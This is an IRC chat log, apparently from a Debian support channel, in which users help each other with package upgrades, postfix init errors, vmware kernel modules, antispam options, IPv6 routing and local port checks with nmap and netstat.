| 12:04.30 | quitte | abrotman: suid is necessary for all networking changes. |
| 12:04.32 | Dewi | I'm trying to figure out if I have enough RAM in a machine.... looking at 'vmstat -s', I can see amounts for "inactive memory" and "active memory" |
| 12:04.37 | Dewi | does anyone know how these are measured? |
| 12:04.48 | geo-rge | metbsd: a hardware solution means in this case buying a computer to act as a smart mail gateway or something like that |
| 12:04.54 | Dewi | and is that going to tell me about the density of page faults? |
| 12:04.56 | metbsd | anyone suggest a preinstalled hardware antispam/firewall/antivirus of smtp |
| 12:05.24 | petemc | metbsd: given up on exim then? |
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| 12:05.33 | metbsd | no we still use that |
| 12:05.47 | geo-rge | metbsd: and really it's better to have the spam removal on a remote site so that it doesn't take bandwidth along the path directly to your machine |
| 12:05.47 | metbsd | but we want a quick antispam soution |
| 12:06.26 | metbsd | that's right, so we want to save bandwidth by refuse those mail from sending |
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| 12:06.56 | geo-rge | you can't do that |
| 12:07.03 | petemc | geo-rge: you can, to a point |
| 12:07.10 | geo-rge | you cannot prevent a different machine from sending mail |
| 12:07.17 | petemc | you can reject before data |
| 12:07.18 | Dewi | geo-rge: sure you can. don't accept it. |
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| 12:07.42 | Dewi | geo-rge: greylisting works that way for example |
| 12:07.46 | geo-rge | petemc: can you send a comment for their log when you do that? |
| 12:07.53 | abrotman | quitte: but the dip group works you say! |
| 12:07.56 | Dewi | geo-rge: as do RBLs |
| 12:08.14 | petemc | geo-rge: you mean can you have custom messages with the 5xx? sure... |
| 12:08.15 | Dewi | geo-rge: their log will say "not accepted: reason _____" |
| 12:08.19 | lvh | metbsd: you can't go much quicker than setting up spamassassin |
| 12:08.40 | lvh | metbsd: how do you want/expect that to work? people send mail to the hardware box, and it passes it on to the back end? |
| 12:08.43 | metbsd | i want a professional solution that has good support, unlike those open source |
| 12:08.58 | clare10billion | hello all, I'm just about to setup some backup software on my server to some ftp space and i was wondering if anyone has some suggestions? I would like t backup mysql databases and some sites and config files. |
| 12:08.58 | lvh | metbsd: that's a really popular view here. |
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| 12:09.01 | Dewi | metbsd: that's a smart thing to say on an open source support channel |
| 12:09.07 | lvh | metbsd: really. |
| 12:09.16 | geo-rge | Dewi: "... reason you have a spammer, collected details available at http://..." |
| 12:09.34 | lvh | metbsd: you could try astaro security linux... which is EXACTLY the same software, except you pay for support instead of getting it for free |
| 12:09.38 | spheard | "wget localhost" gives me a 401 error, any ideas whats causing this? |
| 12:09.38 | lvh | metbsd: if that makes you happier |
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| 12:09.44 | Dewi | geo-rge: hmm |
| 12:09.50 | geo-rge | metbsd: then for sure, there is one thing you're going to do: pay. |
| 12:09.52 | quitte | abrotman: all devices that a user can atach to the computershould be fully usable by the user without him needing any additional permissions imho. |
| 12:10.03 | abrotman | quitte: see ##windows :) |
| 12:10.06 | Dewi | geo-rge: normally the bounce will go back to a fake person, because spammers fake senders |
| 12:10.07 | geo-rge | err one thing we both know you're goint to do :) |
| 12:10.19 | lvh | i love it how people are magically convinced codebases become more stable when they have paid support contracts |
| 12:10.20 | Dewi | geo-rge: there's no good way to contact the owner of the IP address / zombie PC |
| 12:10.54 | abrotman | Dewi: vmstat .. look at your si/so |
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| 12:11.03 | geo-rge | so it's useless to leave the message in case someone is being incomplete about their cloaking? |
| 12:11.13 | Dewi | abrotman: they tend to be zero... what's the time frame? |
| 12:11.25 | abrotman | Dewi: and free returns nothing in swap ? |
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| 12:11.41 | Dewi | abrotman: swap is almost all free, but not quite. |
| 12:12.14 | abrotman | Dewi: so you're not currently actively swapping |
| 12:12.16 | Dewi | abrotman: what's worrying me is that physical RAM is always less than 20M away from full. Which conjures up images of swapping in my windows-trained mind |
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| 12:12.21 | geo-rge | metbsd, and you're going to be paying for something that the people you're paying will by design be preventing you from taking the project to another vendor to fix |
| 12:12.28 | abrotman | Dewi: that's the way it should be |
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| 12:14.05 | geo-rge | the source is closed, someone else can't fix it in the most effective and efficient way (but I digress, because this argument is really old and at least yourself and in addition everyone else here has heard before) |
| 12:14.05 | Dewi | lvh / geo-rge : there is something to be said for not doing absolutely everything yourself though. |
| 12:14.38 | Dewi | metbsd: I guess what we would say is, if you want to buy a support contract, you shouldn't rule out open source |
| 12:14.50 | geo-rge | I can't afford that! |
| 12:15.21 | metbsd | we don't mind open source, but we need to pay ppl for maintaining it, if the guy quit, we in deep shit |
| 12:15.43 | metbsd | so we rather buy hardware firewall/span, and subsequently get support |
| 12:15.45 | fengor | justhire another guy then metbsd |
| 12:15.45 | geo-rge | you wouldn't be if the prev guy did his job |
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| 12:16.03 | fengor | its always bad if you have just one person in a responsible situation |
| 12:16.08 | metbsd | it'll take some time for the new guy to know what the last admin done |
| 12:16.27 | geo-rge | and you can specify that documentation is a necessity in the contract, that not documenting would break the contract and cause lawsuits |
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| 12:16.34 | fengor | in my company we have at least one backup guy for crucial tasks who can jump in any second the primary guy is sick, on holiday or something else |
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| 12:17.10 | geo-rge | fengor: did you make the backup guy the same way they cloned kaptain kirk? :) |
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| 12:17.40 | somian[0] | Wow, is metbsd *still* finding people to troll? |
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| 12:17.53 | somian[0] | It's been at least a week now! |
| 12:18.15 | geo-rge | in that case, I completely digress, and let you do what you want |
| 12:18.40 | geo-rge | metbsd, busted :P |
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| 12:21.11 | geo-rge | "#423880 - HAL, system hangs after inserting of audio CD", who's been bitten by this or knows latest? |
| 12:21.23 | abrotman | what's a CD? |
| 12:21.43 | geo-rge | certificate of dementia |
| 12:22.59 | abrotman | i've got three! |
| 12:23.59 | geo-rge | three cee dee? |
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| 12:24.17 | geo-rge | wait, whatcha mean? :) |
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| 12:26.15 | yang- | How could I fix this issue with upgrade - http://paste.debian.net/30191 |
| 12:26.55 | keith4 | "# |
| 12:26.56 | keith4 | Package is in a very bad inconsistent state - you should |
| 12:26.56 | keith4 | # |
| 12:26.56 | keith4 | <PROTECTED> |
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| 12:27.07 | keith4 | heh |
| 12:27.21 | keith4 | stupid bot |
| 12:27.25 | geo-rge | the point being it tells you one thing you coudl do :) |
| 12:27.32 | keith4 | yes, thanks |
| 12:27.46 | yang- | I cannot reinstall it ends with error |
| 12:27.53 | keith4 | try dpkg-reconfigure |
| 12:27.56 | geo-rge | just that one package |
| 12:27.58 | yang- | i have tried that |
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| 12:28.48 | geo-rge | is the lftp_*.deb in /var/cache/apt/archives? |
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| 12:29.07 | yang- | ./usr/sbin/dpkg-reconfigure: lftp is broken or not fully installe |
| 12:29.13 | SoulChild | Hey all,... how do i install the firefox package, i don't want iceweasel,... is it possible to download the ubuntu .deb file and install on my lenny ??? |
| 12:29.25 | keith4 | why don't you want iceweasel? |
| 12:29.36 | fengor | !tell SoulChild about not debian |
| 12:29.38 | yang- | geo-rge yes it is |
| 12:29.38 | geo-rge | yang-: ls /var/cache/apt/archives/lftp_*.deb |
| 12:29.42 | SoulChild | keith4: having problems with flash |
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| 12:29.46 | geo-rge | ok, as root: |
| 12:29.47 | JosefAssad | hiya |
| 12:29.49 | geo-rge | <PROTECTED> |
| 12:29.59 | keith4 | SoulChild: you know that iceweasel *is* firefox, right? |
| 12:30.01 | geo-rge | <PROTECTED> |
| 12:30.02 | karmatronic | SoulChild: you had better installed directly the tar.gz from firefox s web site |
| 12:30.02 | JosefAssad | what would be the most logical tool to dump berkeley db files? |
| 12:30.27 | yang- | geo-rge there are 2 versions of lftp there 3.5.6 and 3.5.10 |
| 12:30.32 | keith4 | !wayc | karmatronic |
| 12:30.32 | dpkg | | karmatronic: Why are you compiling instead of using aptitude? |
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| 12:30.48 | SoulChild | keith4: yes but is the version in testing still actual ? |
| 12:30.50 | geo-rge | yang-: did you recently try to upgrade it? |
| 12:31.00 | karmatronic | keith4: because he doesnt want iceweasel |
| 12:31.03 | yang- | george, i was upgrading from etch to lenny |
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| 12:31.17 | keith4 | SoulChild: iceweasel is just firefox with different artwork |
| 12:31.31 | keith4 | http://en.wikipedia.org/wiki/Iceweasel |
| 12:31.41 | yang- | george which version should i dpkg -i |
| 12:31.42 | SoulChild | keith4: hmm ,... i know about the copyright conflict,... |
| 12:31.44 | karmatronic | keith4: yeah but if you want firefox latest version ? |
| 12:31.54 | SoulChild | karmatronic: exactly |
| 12:31.56 | geo-rge | yang-: try the earlier one first |
| 12:31.56 | keith4 | building from source is not a good idea |
| 12:32.01 | abrotman | SoulChild: what problems are you having? |
| 12:32.08 | keith4 | fix the flash problem |
| 12:32.13 | SoulChild | abrotman: flash sometimes uses crash |
| 12:32.16 | geo-rge | keith4: that does depend :) |
| 12:32.20 | SoulChild | *forces |
| 12:32.20 | abrotman | that's flash .. get used to it |
| 12:32.21 | keith4 | unless you are going to learn how to build debs |
| 12:32.31 | SoulChild | abrotman:i mean flash sometimes causes crash |
| 12:32.39 | abrotman | SoulChild: there's nothing you can do about that .. it's the way flash is on Linux .. adobe hates us |
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| 12:33.08 | geo-rge | that wouldn't be the only reason. for example, I commonly build stacks of things I do NOT want debian packaging to touch |
| 12:33.19 | abrotman | SoulChild: installing FF instead of IW isn't likely to fix any problem at all |
| 12:33.21 | yang- | george, both end in errors |
| 12:33.30 | keith4 | geo-rge: true. i didn't get that impression here... ;-) |
| 12:33.36 | yang- | george i cant even remove those |
| 12:33.57 | geo-rge | yang-: different errors? |
| 12:34.09 | yang- | george no ame errors, i ll paste |
| 12:34.15 | yang- | george please join #paste |
| 12:34.21 | geo-rge | yang-: one sec |
| 12:34.29 | somian[0] | If you know what you are doing and don't give the impression that you are begging for help like a lost puppy (in this channel), there is nothing wrong with compiling things on a Debian system. That's some people's cup of tea -- what they like to do. |
| 12:34.51 | abrotman | somian[0]: however .. compiling FF isn't fun |
| 12:35.04 | keith4 | somian[0]: neither of those conditions seem to be met in this case ;-) |
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| 12:35.26 | karmatronic | somian[0]: yeah i like to compile from time to time |
| 12:35.32 | somian[0] | I can believe that ;-). I did it once l o n g ago when it was still called Phoenix :-) and it was a PITA. |
| 12:36.22 | karmatronic | keith4: see , my personal (and unique ) problem with debian is that , in order to have stability ,yuo have to stick to something like...gnome 2.14 |
| 12:36.37 | karmatronic | keith4: unless you compile |
| 12:36.46 | abrotman | that's not a unique problem (or perceived problem) |
| 12:37.03 | abrotman | karmatronic: and you don't have to compile either |
| 12:37.03 | keith4 | karmatronic: that's what the stable branch is for |
| 12:37.23 | George2 | so many highlights for my name :) |
| 12:37.35 | karmatronic | keith4: the stable branch , is for , you ll have to stick to 2.14 cos we know its not buggy ? |
| 12:37.53 | abrotman | karmatronic: for example .. there's a 2.16 backport for etch .. with a 2.18 on the way |
| 12:38.08 | karmatronic | keith4: so why cant i make something as simple as printscreen with the printscreen keystroke |
| 12:38.41 | keith4 | karmatronic: works for me |
| 12:38.49 | keith4 | i hit printscreen key, it offers to save a screenshot |
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| 12:39.38 | karmatronic | keith4: what i mean is that i feel like we shouldnt justify older versions of some packages only for stability reasons |
| 12:39.49 | keith4 | um |
| 12:39.50 | karmatronic | keith4: cos it s not always the reason |
| 12:40.55 | quitte | karmatronic: stable is stable. any update to a later version might result in unexpected behaviour |
| 12:40.55 | karmatronic | still,your printscreen works ? |
| 12:40.59 | somian[0] | Really really really a person who feels like this ought to be running unstable only |
| 12:41.22 | karmatronic | somian[0]: yeah i m running unstable |
| 12:41.26 | quitte | karmatronic: you pretty much get a guarantee that installing the updates for etch won't break your system, ever |
| 12:41.42 | geo-rge | what's an EFI partition and what's elilo? should I say "don't automatically run elilo"? |
| 12:41.51 | azeem | geo-rge: which arch is this? |
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| 12:42.17 | quitte | karmatronic: this is not doable if newer package versions are supported. even bugs will stay the same. as it is well possible that you did something taht relies on the presence of acertain bug. |
| 12:42.27 | quitte | karmatronic: so onlysecurity bugs get fixed |
| 12:42.29 | geo-rge | 686 maybe? |
| 12:42.50 | geo-rge | i686 |
| 12:43.17 | geo-rge | hi azeem |
| 12:43.37 | quitte | geo-rge: efi is a standard that is meant to replace the pc bios. macs use it and also ia64. if you dont know what it is you dont want to use it |
| 12:43.37 | azeem | geo-rge: what are you doing? |
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| 12:43.54 | geo-rge | dist-upgrading |
| 12:44.08 | azeem | geo-rge: dude |
| 12:44.09 | chemaja | if anyone's out of music, apt-get install streamtuner xmms :) |
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| 12:44.20 | azeem | geo-rge: from where to where? Which package is asking your this? |
| 12:44.29 | geo-rge | elilo |
| 12:44.34 | karmatronic | quitte: debian s force is reliability , stability .But dont you think some desktop standard packages hould be integrated sooner |
| 12:44.40 | azeem | geo-rge: WTF do you have elilo installed? |
| 12:44.47 | geo-rge | no idea |
| 12:44.48 | karmatronic | quitte: or in a different way |
| 12:44.52 | quitte | karmatronic: no. that's what backports are for |
| 12:45.08 | azeem | geo-rge: is this an intel-based mac? |
| 12:45.15 | geo-rge | not at all |
| 12:45.20 | yang- | How could I fix this issue with upgrade - http://paste.debian.net/30191 |
| 12:45.21 | azeem | what is it, then? |
| 12:45.33 | geo-rge | an intel box I built |
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| 12:45.49 | azeem | you didn't answer my other queston |
| 12:45.52 | azeem | question* |
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| 12:46.02 | geo-rge | which is why is it installed? |
| 12:46.05 | geo-rge | I don't know :) |
| 12:46.09 | azeem | 14:43 < azeem> geo-rge: from where to where? |
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| 12:47.06 | geo-rge | from a plain debian archive (as far as I know at the moment) to my i686 I built? |
| 12:47.23 | geo-rge | etch, released version |
| 12:47.39 | geo-rge | I'm still not sure I understand the question |
| 12:47.41 | alaK | hi, this is twice when my sshd shutsdown..i cant access it, so that i could access it again i have to restart it |
| 12:47.46 | quitte | geo-rge: and your previous version is? |
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| 12:47.49 | alaK | i think someone maybe is attacking it :/ |
| 12:47.51 | karmatronic | keith4: by the way , is gnome 2.18 backported? |
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| 12:48.10 | geo-rge | a somewhat earlier prerelease etch |
| 12:48.26 | azeem | geo-rge: what bootloader are you using? |
| 12:48.28 | keith4 | karmatronic: i don't know. i don't use backports |
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| 12:48.47 | geo-rge | grub is what I like and what I'm using on this box |
| 12:48.50 | alaK | "sshd[27877]: error: bad option name: "·dÔ’¿ø^Yé·^A"" <-- this in my logfiles :?` |
| 12:49.09 | azeem | geo-rge: then I suggest you remove elilo |
| 12:49.21 | geo-rge | while dist-upgrading? |
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| 12:49.29 | geo-rge | just hit ctrl-c? |
| 12:49.49 | azeem | better not then |
| 12:50.00 | geo-rge | (I'm pretty sure bad things would happen if I do that :P ) |
| 12:50.03 | azeem | just tell it not to run elilo |
| 12:50.11 | yang- | I am geting the error: |
| 12:50.13 | yang- | <PROTECTED> |
| 12:50.13 | yang- | <PROTECTED> |
| 12:50.13 | geo-rge | I'll just say don't run elilo for now |
| 12:50.17 | krekon | is there any package for coping movies? |
| 12:50.36 | geo-rge | if you can't cope with a movie, you shouldn't watch it :) |
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| 12:50.59 | blinx | how can I find all files which includes the "string"? |
| 12:51.12 | geo-rge | man grep |
| 12:51.30 | quitte | karmatronic: it's not even in lenny |
| 12:51.40 | krekon | geo-rge you know any package? |
| 12:51.51 | karmatronic | quitte: yeah :) |
| 12:51.55 | keith4 | krekon: mencoder? |
| 12:52.12 | azeem | krekon: I'm not sure there is somethine out-of-the-box |
| 12:52.23 | geo-rge | I'm not on speaking terms with any package... in fact, no, I have never actually met a package |
| 12:52.27 | azeem | but the tools are there (at least when you include debian-multimedia), you just have to combine them |
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| 12:52.44 | azeem | geo-rge: if you want to help people, please be liberal in what you accept |
| 12:52.46 | earthian | hello |
| 12:53.51 | earthian | I have found a cause of my problem of yesterday with configuration of vmware. insmod program segfaults. how can i debug and fix it??? |
| 12:54.24 | krekon | keith4 this is not available in sarge. the problem is how could I make the 8GB size DVD become 4GB |
| 12:54.27 | earthian | what exactly happens is: |
| 12:54.32 | earthian | insmod --help |
| 12:54.32 | earthian | Segmentation fault |
| 12:54.39 | quitte | krekon: first of all you should tell us what kind of container your moviecomes in. most are files and can just be copied. |
| 12:54.49 | geo-rge | hmm, that's pretty bad |
| 12:54.51 | earthian | help! :) |
| 12:55.09 | geo-rge | have you checked your ram? |
| 12:55.25 | keith4 | quitte: i think he's asking "how can I copy DVDs?" |
| 12:55.30 | quitte | earthian: first ofa all: don't use insmod. use modprobe |
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| 12:55.50 | earthian | quitte, vmware config script uses it.. :( |
| 12:55.54 | geo-rge | quitte: if insmod --help segfaults... |
| 12:56.13 | geo-rge | how would modprobe help there? :) |
| 12:56.30 | earthian | modprobe does not segfault |
| 12:56.43 | geo-rge | but modprobe uses insmod |
| 12:56.48 | earthian | k |
| 12:56.52 | krekon | quitte even if I can copy files they are 8GB |
| 12:57.06 | azeem | geo-rge: I'm not sure it really uses the insmod binary |
| 12:57.09 | geo-rge | wait, you say it doesn't segfault? |
| 12:57.13 | quitte | earthian: i found this with google. so it's up to you if you want to trust that source: http://www.stanchina.net/~flavio/debian/vmware-kernel.html |
| 12:57.21 | geo-rge | azeem: maybe it used to |
| 12:57.57 | quitte | krekon: you have to reencode it then. |
| 12:58.06 | vin` | earthian: it's not an insmod problem, vmware doesn't work with recent kernels |
| 12:58.09 | yvhaarle | somebody has superkaramba running with gnome? |
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| 12:58.20 | azeem | earthian: anything else segfaulting? |
| 12:58.25 | blinx | vin`: it works on my debian sid 64 |
| 12:58.28 | geo-rge | what's a superkarimba? |
| 12:58.31 | earthian | azeem, no afaik |
| 12:58.32 | blinx | you need a patch |
| 12:58.38 | blinx | geo-rge: a system load thing |
| 12:58.48 | geo-rge | measures? |
| 12:58.50 | krekon | quitte in what format? what encoder to use? |
| 12:58.55 | vin` | blinx: which kernel? |
| 12:59.05 | quitte | krekon: debian-multimedia(which dpkg just told you about) should have more than one package that can help you |
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| 12:59.18 | blinx | vin`: 2.6.21-1-amd64 |
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| 12:59.40 | vin` | blinx: which patch? any-any-foo? |
| 12:59.48 | blinx | vin`: goog question |
| 12:59.49 | blinx | mom |
| 12:59.55 | keith4 | krekon: what you are considering is not a simple task |
| 13:00.21 | krekon | debian-multimedia is not available in sarge. but when I upgrade I'll do it . thanks a lot |
| 13:00.28 | blinx | vin`: sorry no idea |
| 13:00.37 | blinx | it is a patch from a blog of vmware etc |
| 13:00.54 | alaK | can you recommend a firewall to debian which has brutceforce blocking feature ? |
| 13:01.07 | wols | krekon: it is available for sarge |
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| 13:01.39 | wols | alaK: blocking for what? |
| 13:01.52 | earthian | vin`, insmod is not part of vmware and it segfaults without the presense of vmware |
| 13:01.58 | wols | !insmod |
| 13:01.58 | dpkg | Sorry, that command doesn't exist. Surely you meant "modprobe"?, or modprobe also loads dependencies, insmod only loads what you tell it to load. NEVER attempt to use insmod under 2.6. Use modprobe. Did we mention "modprobe" yet?. Taunting Happy Fun Ball causes cancer |
| 13:02.00 | keith4 | krekon: http://debian-multimedia.org/ |
| 13:02.04 | geo-rge | wols: brute force :) |
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| 13:02.22 | vin` | earthian: segfaults if you do what? |
| 13:02.28 | Phil4 | hi there, I need some help setting up my Debian box to become an ipv6 router for my network... It's configured to use an ipv6 tunnel broker which works perfectly fine (it can connect out to IPv6 servers on the internet). I've also assigned the lan side NIC (eth1) an ipv6 IP however I'm not too sure where to go from here. |
| 13:02.51 | alaK | wols: my box is hardly being brutceforced now, i need a firewall which automacilly will block the ips |
| 13:02.54 | alaK | who bruteforced |
| 13:02.58 | wols | Phil4: masquerading. ipmasq should do the trick |
| 13:03.10 | wols | alaK: ips doing what? |
| 13:03.12 | Phil4 | that with iptables wols? |
| 13:03.21 | wols | !find ipmasq |
| 13:03.28 | dpkg | Debian Search of 'ipmasq' (3 of 4): (/usr/share/doc/HOWTO/ja-html/ipchains-mini-HOWTO/ipmasq.html) in doc/doc-linux-ja-html ;; (/usr/share/doc/newbiedoc/newbiedoc-html/homegateway/ipmasqsettings.html) in doc/newbiedoc ;; (/etc/ppp/ip-up.d/00ipmasq, /usr/share/lintian/overrides/ipmasq, /etc/ipmasq/rules/Z99ipmasqrules.def) in net/ipmasq. |
| 13:03.44 | earthian | vin`, simply insmod --help |
| 13:03.48 | earthian | or without anything |
| 13:04.17 | wols | earthian: read the factoid. and read the !vmware factoid |
| 13:04.40 | earthian | ok wols will do |
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| 13:05.50 | earthian | hm.. but wols the problem is not vmware |
| 13:05.56 | yang- | How could I fix this issue with upgrade - http://paste.debian.net/30191 |
| 13:05.58 | earthian | its insmod program that i think came with debian :/ |
| 13:06.31 | azeem | you /think/? |
| 13:06.41 | alaK | is there an alternative option ? |
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| 13:07.08 | alaK | !find apf |
| 13:07.12 | geo-rge | brb |
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| 13:08.50 | HostilePenguin | where to look for ice weasel repairing? |
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| 13:11.36 | vin` | HostilePenguin: /msg dpkg bts |
| 13:14.09 | redos | can someone help me with installing a package ? |
| 13:14.16 | redos | it gets refused everytime |
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| 13:14.31 | mmlj4 | redos: don't paste the error, we want to guess what's wrong |
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| 13:14.40 | George2 | HOLY SHIT... MY PC |
| 13:14.45 | George2 | oops, wrong window. |
| 13:14.47 | redos | dpkg -i find-her-dildo-i386.deb don't do it |
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| 13:15.09 | redos | eheh |
| 13:15.13 | redos | now guess what |
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| 13:15.16 | redos | lol |
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| 13:16.18 | vin` | earthian: using sid? |
| 13:16.21 | Phil4 | wols, sorry, I'm still confused :( |
| 13:16.31 | Phil4 | I've been trying to follow this, http://people.debian.org/~csmall/ipv6/setup.html |
| 13:16.36 | earthian | vin`, lenny |
| 13:16.42 | Phil4 | but I'm not sure if it's really what I want to do |
| 13:17.29 | vin` | earthian: bug #425458 |
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| 13:18.38 | earthian | vin`, thanks :x |
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| 13:29.03 | yopyop | hello, i have problem with postfix on etch, the init.d script seams fucked. he use option i cant find in postfix man and it cause postfix to dont stop, restart, etc |
| 13:30.25 | arthur_kalm | Hi everyone, I was wondering if anyone can give me any suggestions for load balancing/other software that I can use to decrease priority to processes that are requesting too many page views per second from my web server? |
| 13:31.02 | wols | yopyop: check your logs |
| 13:31.02 | keith4 | yopyop: pastebin the init.d script |
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| 13:31.23 | wols | and docs are in postfix-doc |
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| 13:31.38 | wols | keith4: it's not the init.d script most likely since that never changes. most probably his config |
| 13:31.46 | wols | upon which postfix refuses to start |
| 13:32.02 | keith4 | true |
| 13:32.38 | keith4 | what about " he use option i cant find in postfix man"? |
| 13:32.46 | wols | I told him. postfix-doc |
| 13:32.49 | keith4 | ah |
| 13:32.53 | keith4 | yes, didn't see that. sorry |
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| 13:33.43 | o2T7 | hi |
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| 13:34.06 | o2T7 | when running `sudo nmap -sU -p 69 localhost` I get this: |
| 13:34.09 | o2T7 | 69/udp open|filtered tftp |
| 13:34.19 | o2T7 | Why does it appear as filtered? |
| 13:35.01 | wols | why do you run nmap on localhost? |
| 13:35.01 | BotaniCar | hahahahahahahaha |
| 13:35.01 | yopyop | keith4, wols http://paste.debian.net/30195 |
| 13:35.01 | rgsteele | BotaniCar: It wasn't that funny. |
| 13:35.01 | o2T7 | wols. because I want to know if the service is running and responding correctly |
| 13:35.01 | karmatronic | wols: he s trying to hack himself |
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| 13:35.21 | keith4 | yopyop: you didn't modify the init script, right? pastebin the log |
| 13:35.23 | karmatronic | wols: but using the hard way ,since he could use knowledge of the passwords |
| 13:35.25 | o2T7 | karmatronic: NO I'm trying to hack a cm connected to localhost |
| 13:35.26 | lvh | o2T7: port behaviour on localhost says nothing on port behaviour to the outside world |
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| 13:35.53 | yopyop | i didnt modified the script, only added -x to have verbose |
| 13:35.54 | lvh | o2T7: common gotcha. you really, really, really should do it from another box |
| 13:35.55 | wols | o2T7: that is no reason to use nmap |
| 13:35.56 | o2T7 | lvh: ok, so i should nmap my IP address? |
| 13:36.04 | lvh | o2T7: from another box, preferably, |
| 13:36.06 | yopyop | log print are in the bottom of the pastebin |
| 13:36.08 | wols | o2T7: no |
| 13:36.23 | lvh | o2T7: nmap your ip, _from another box_ |
| 13:36.33 | keith4 | check netstat -a to see if it's listening, no? |
| 13:36.38 | o2T7 | ok |
| 13:36.44 | wols | o2T7: you should learn to use netstat locally and use a different IP to connect to from outside. and don't use nmap but probe specific prts using netcat or telnet |
| 13:36.46 | lvh | keith4: yes, but still, nmap _from another box_ :p |
| 13:36.57 | wols | o2T7: netstat -anp |grep LIST |less |
| 13:37.05 | keith4 | yopyop: what gives you the impression that -x is for verbose? |
| 13:37.11 | o2T7 | More accurate :) |
| 13:37.19 | quitte | t like recent german legislation |
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| 13:37.28 | wols | o2T7: what is? nmap is about the most inaccurate tool you can imagine |
| 13:37.31 | yopyop | keith4, -x on sh prints you what *sh is doing |
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| 13:37.50 | o2T7 | I was refering to your netstat command |
| 13:38.03 | lvh | bash also has --verbose afaik |
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| 13:38.11 | wols | yopyop: /etc/init.d/postfix start. then ps aux |grep master and check your logs. syslog and mail.logs |
| 13:38.13 | keith4 | yopyop: what's in your mail.log ? |
| 13:38.21 | yopyop | start works |
| 13:38.27 | yopyop | other command dont |
| 13:38.28 | wols | yopyop: so what doesn't? |
| 13:38.40 | yopyop | it ask for command postfix doesnt seems to have |
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| 13:39.06 | wols | yopyop: http://paste.debian.net/30195 |
| 13:39.10 | wols | yopyop: # |
| 13:39.10 | wols | yopyop: + /usr/sbin/postfix quiet-stop |
| 13:39.10 | wols | # |
| 13:39.10 | wols | postfix/postfix-script: fatal: usage: postfix start (or stop, reload, abort, flush, check, set-permissions, upgrade-configuration) |
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| 13:39.27 | yopyop | if i try to stop it, it ask for quiet-stop |
| 13:39.37 | wols | these lines I pasted like a dumbass is what causes it, if something is wrong |
| 13:39.46 | yopyop | i know |
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| 13:39.54 | yopyop | and quiet-stop dont exist in postfix |
| 13:40.09 | o2T7 | ok, I can't see tftpd in netstat's output |
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| 13:40.25 | keith4 | quiet-reload either |
| 13:40.44 | yopyop | so init.d script seams to ask thing postfix does not understand |
| 13:40.53 | yopyop | so postfix stop with error |
| 13:41.09 | keith4 | those are flags to start-stop-daemon |
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| 13:41.23 | wols | mine understands it perfectly (sid) |
| 13:41.26 | keith4 | not postfix |
| 13:41.44 | o2T7 | but tftp>get file works fine |
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| 13:41.57 | Weems | I can run gnome when I login and use startx, but gdm crashes |
| 13:42.28 | keith4 | what does the log say? |
| 13:42.40 | Weems | something about my fonts |
| 13:42.43 | Weems | and a key map |
| 13:42.58 | Weems | can I pastebin my log? (I dont know where it is) |
| 13:42.58 | abrotman | actual log messages are helpful |
| 13:43.01 | abrotman | !paster |
| 13:43.01 | dpkg | paster is your friendly Debian pastebot. Visit http://channels.debian.net/paste to have paster paste your results. Ask me about <pastebin> if you want to use another site. |
| 13:43.03 | Weems | yeah |
| 13:43.11 | abrotman | /var/log/Xorg.0.log |
| 13:43.39 | earthian | what is ustable and what is testing? which one is lenny atm? (me got confused :x) |
| 13:43.50 | yopyop | --start -- <argument> ... start a program and pass <arguments> to it |
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| 13:44.02 | yopyop | so quiet-stop is argument for postfix |
| 13:44.41 | wols | earthian: sid is always unstable. lenny is testing, etch is stable |
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| 13:45.05 | yopyop | and postfix does not understand it |
| 13:46.09 | yopyop | keith4, sid postfix understand it, etch or sarge does not, so script is from wrong install ?? |
| 13:46.17 | keith4 | yopyop: isn't that an argument for start-stop-daemon, not postfix? |
| 13:46.21 | yopyop | na |
| 13:46.26 | keith4 | what version of postfix? |
| 13:47.46 | yopyop | Version: 2.3.8-2+b1 |
| 13:47.56 | keith4 | same version i have |
| 13:48.01 | keith4 | works fine |
| 13:48.08 | yopyop | with quiet-stop ? |
| 13:48.14 | Weems | http://paste.debian.net/30198 |
| 13:49.13 | keith4 | yopyop: my /etc/init.d/postfix http://paste.debian.net/30199 |
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| 13:50.31 | keith4 | yopyop: Usage: /etc/init.d/postfix {start|stop|restart|reload|flush|check|abort|force-reload} |
| 13:50.32 | keith4 | same as yours |
| 13:50.46 | yopyop | yep |
| 13:50.58 | yopyop | can you try postfix quiet-stop |
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| 13:51.22 | keith4 | yopyop: works fine |
| 13:51.34 | keith4 | `postfix quiet-stop` produces no output, and stops postfix |
| 13:52.15 | yopyop | i got error postfix/postfix-script: fatal: usage: postfix start (or stop, reload, abort, flush, check, set-permissions, upgrade-configuration) |
| 13:52.15 | wols | yopyop: dpkg -l dpkg |
| 13:52.15 | wols | what version is it? |
| 13:52.23 | yopyop | 1.13.25 |
| 13:52.47 | yopyop | this deb is fresh install from a etch netinstall cd last week |
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| 13:56.04 | abrotman | !info postfix etch |
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| 13:56.49 | dpkg | postfix: (A high-performance mail transport agent), section mail, is extra. Version: 2.3.8-2+b1 (etch), Packaged size: 1063 kB, Installed size: 2464 kB |
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| 13:57.31 | wols | !info dpkg etch |
| 13:57.32 | dpkg | dpkg: (package maintenance system for Debian), section admin, is required. Version: 1.13.25 (etch), Packaged size: 1983 kB, Installed size: 6296 kB |
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| 13:58.16 | kairu0 | how can i disable ipv6 without restarting? |
| 13:58.23 | keith4 | yopyop: fwiw, i diff'd your init script with mine... |
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| 13:58.35 | Crypticfortune | ok, let me check this real quick. the only reason that g++ part1.o part2.o -lboost_regex should make an error "/usr/bin/ld: cannot find -lboost_regex" is that libboost-regex-dev (of which version 1.34.0-1 is installed on my system) is broken, right? |
| 13:58.35 | keith4 | only line that's different is < #!/bin/sh -ex |
| 13:58.39 | abrotman | kairu0: modprobe -r the module |
| 13:58.47 | karmatronic | kairu0: modprobe -r ipv6 |
| 13:58.55 | yopyop | gonna reinstall the box |
| 13:58.57 | kairu0 | thnkx |
| 13:59.02 | yopyop | thats faster |
| 13:59.08 | kairu0 | and if its in use? |
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| 13:59.15 | RaphaelZ | darny |
| 13:59.20 | yopyop | and i will see if it is default install |
| 13:59.40 | karmatronic | yopyop: yuo gonna reinstall just because of this postfix thing? |
| 13:59.50 | keith4 | yopyop: pastebin your main.cf |
| 13:59.59 | yopyop | im preparing upgrade for postfix servers |
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| 14:00.08 | yopyop | sarge->etch |
| 14:00.26 | yopyop | i want to be sure thats my config and not default config |
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| 14:05.36 | RaphaelZ | hiya |
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| 14:05.46 | RaphaelZ | does anyone remember the rsync command between 2 servers? |
| 14:06.13 | RaphaelZ | rsync folder ip:/folder is the basic i guess, but where to put the password? |
